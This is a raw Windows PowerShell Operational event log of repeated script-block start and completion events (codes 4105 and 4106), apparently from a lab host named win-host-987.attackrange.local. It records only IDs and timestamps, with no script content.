SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030325
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030324
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030323
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030322
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030306
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030305
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030300
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030299
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
